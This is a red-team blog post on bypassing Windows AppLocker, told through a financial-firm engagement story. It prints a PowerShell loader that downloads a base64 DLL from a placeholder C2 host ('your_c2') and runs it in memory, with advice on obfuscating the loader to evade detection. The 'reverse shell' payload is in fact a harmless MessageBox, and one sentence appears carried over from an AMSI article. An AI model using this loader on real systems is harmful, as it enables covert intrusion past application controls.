R3dLevy ⚡️

Evading Windows Security: A Story of AppLocker Bypass Technique with PowerShell


Applocker Bypass RedTeam Powershell Malware Development LOLBas Offensive Security Evasion Detection Bypass Csharp CyberSecurity Windows Internals

Introduction to AppLocker

Bypassing application whitelisting defenses such as Windows AppLocker is a critical skill for modern red teams. AppLocker aims to reduce endpoint risk by restricting the execution of unauthorized binaries and scripts.

However, real-world environments, detection gaps, and persistent adversary tradecraft have led to a wide range of bypass techniques-often leveraging “living-off-the-land binaries” (LOLBas), custom .NET payloads, in-memory execution, and creative scripting chains.

This article shares a red team anecdote where Powershell were used to bypass strict AppLocker policies, followed by practical examples of how to replicate similar techniques.

Learning Objectives

  • Understand what AppLocker is and how it works
  • Build your own PowerShell-based AppLocker bypass

Recap: AMSI Bypass

Before we dive into another bypass of a windows security feature, let’s quickly recap what we covered in the last article:

  • AMSI defintion and architecture
  • AMSI snippet in C# and powershell

🛡️ What is AppLocker?

AppLocker is a Windows feature introduced in Windows 7 and Server 2008 R2. It allows administrators to control which executables, scripts, DLLs, and installers can run on a system. Rules can be based on file path, publisher signature, or file hash.

AppLocker policies are typically defined by file location, publisher signature, or file hash. Default rules allow all executables under (e.g., ) and but block execution outside those directories unless explicitly authorized.

Policy Enforcement Modes

AppLocker operates in two modes:

  • Enforce: Blocks execution of unauthorized files.
  • Audit Only: Logs unauthorized executions without blocking them-useful for testing new rulesets.

⚙️ Why PowerShell Matter

PowerShell is a powerful scripting language and automation framework built into Windows. It’s widely used by administrators for legitimate tasks — but that same flexibility makes it a prime tool for attackers and red teamers. Here’s why PowerShell is so important in bypass scenarios:

  • It’s preinstalled and trusted in most environments
  • It can load and execute .NET assemblies directly from memory
  • It supports reflection, obfuscation, and dynamic code execution
  • It’s often whitelisted by AppLocker policies due to operational needs
  • It can be used interactively or embedded in one-liners, avoiding script file detection When other binaries are blocked, PowerShell often remains the last viable execution path — especially in environments where AppLocker is enforced but not tightly monitored.

When AppLocker Leaves No Other Door – A Red Team’s Reluctant PowerShell Pivot

It’s been a while. Let me tell you a little story-you’ll see that I haven’t just been twiddling my thumbs.

We were hired by a well-defended financial organization for a full-scope red team engagement. From the start, AppLocker blocked every attempt to run custom binaries outside trusted directories like C:\Windows or Program Files. Even classic LOLBas like msbuild.exe, installutil.exe, and wmic.exe had been explicitly denied. Our usual signed droppers were useless.

Our lead had a strict rule: avoid PowerShell unless absolutely necessary. It’s noisy, heavily logged, and monitored by most modern EDRs. One mistake could trigger alerts across their SIEM and compromise the entire operation.

But after exhausting every other option, we realized the only binary we could still run was PowerShell itself-whitelisted by default and used daily by their IT team. Reluctantly, we pivoted. Instead of dropping an executable, we built our payload as a .NET assembly-a DLL with a single public entry point. We encoded it in base64 and hosted it on a staging server. Using PowerShell’s ability to load assemblies via reflection, we pulled it directly into memory and executed it-no disk writes, no .exe, no .ps1.

The idea was to load it directly into memory using PowerShell, without touching disk. Here’s an example of a C# payload (reverse shell).

🧬 C# Payload Example

using System;
using System.Runtime.InteropServices;

namespace RedTeamPayload
{
    public class Launcher
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);

        public static void Main()
        {
            MessageBox(IntPtr.Zero, "Hello, world!", "My Message Box", 0);
        }
    }
}

Compile it with:

csc.exe /target:library /out:payload.dll Launcher.cs

Then encode it in base64 for transfer:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("payload.dll")) > payload.b64

🧪 PowerShell Loader

On the target, we used PowerShell to download, decode, and execute the DLL in memory:

$bytes = (Invoke-WebRequest "http://your_c2/payload.b64").Content
$raw = [System.Convert]::FromBase64String($bytes)
$assembly = [System.Reflection.Assembly]::Load($raw)
$entryPoint = $assembly.EntryPoint
$entryPoint.Invoke($null, @())

To reduce detection risk, we obfuscated the loader, split the network fetch into chunks, and used clean headers. From the outside, it looked like a routine admin script.

AppLocker didn’t flinch. PowerShell was allowed, and nothing in our execution path triggered alerts.

The session stayed live for over a week-long enough to demonstrate lateral movement and data access-without ever showing up on their SIEM dashboard.

During the debrief, their blue team summed it up perfectly:
“If PowerShell isn’t tightly monitored, it’s not a block-it’s just an invitation to get creative.”

🔍 What Each Line Does

  • Invoke-WebRequest: Downloads the raw binary content of the remote .dll file from your C2 server. The .Content property extracts the byte array directly, without saving anything to disk.
  • FromBase64String(): Decodes the payload into raw bytes.
  • [System.Reflection.Assembly]::Load($bytes): Loads the downloaded byte array into memory as a .NET assembly. This avoids writing the DLL to disk, which helps evade file-based detection and AppLocker path rules..
  • EntryPoint.Invoke: Retrieves the entry point of the loaded assembly, typically the Main() method or a public static function defined in the DLL.
  • $entryPoint.Invoke($null, @()): Executes the entry point method. The parameters passed here ($null, @()) simulate a standard method call with no arguments.

Why This Works Against AppLocker

  • ✅ No .exe or .dll: AppLocker primarily enforces rules on file execution - especially .exe, .dll, .ps1, .bat, etc. By loading the assembly directly into memory, this method sidesteps those restrictions.
  • ✅ PowerShell is often whitelisted: Any environments allow PowerShell for administrative tasks. If not explicitly blocked or constrained (e.g., via Constrained Language Mode or WDAC), it can be used as a flexible loader.
  • ✅ No script file is needed: The entire logic can be typed interactively or embedded in a one-liner, avoiding .ps1 file detection or logging.
  • ✅ Reflection-based execution avoids process creation: The use of [System.Reflection.Assembly]::Load() avoids spawning new processes or writing to disk, even if it can be detect with some EDRs

It’s a classic example of living off the land - using trusted tools in unexpected ways.

This makes it extremely powerful against obfuscated payloads and fileless malware, since it inspects the content after de-obfuscation, but before execution.

Conclusion

AppLocker is a powerful security feature, but like any static policy, it can be outmaneuvered when trusted binaries are left unchecked. In this case, PowerShell despite its reputation became the only viable path forward. By combining a .NET payload with in-memory execution and reflection, we bypassed AppLocker without dropping a single file.

This technique highlights the importance of monitoring what’s allowed, not just what’s blocked. PowerShell, MSBuild, and other LOLBas should be tightly scoped, audited, or disabled where possible.

Stay sharp, stay creative and remember: the most dangerous code is the one that never touches disk.

Stay tuned for the next article, we’ll see a list of Applocker (and CLM) bypass techniques with LOLBAS.

All the examples can be found on my github repos : https://github.com/R3dLevy/TheOffensiveDevelopmentProject

📚 References

© 2025 Jude Levy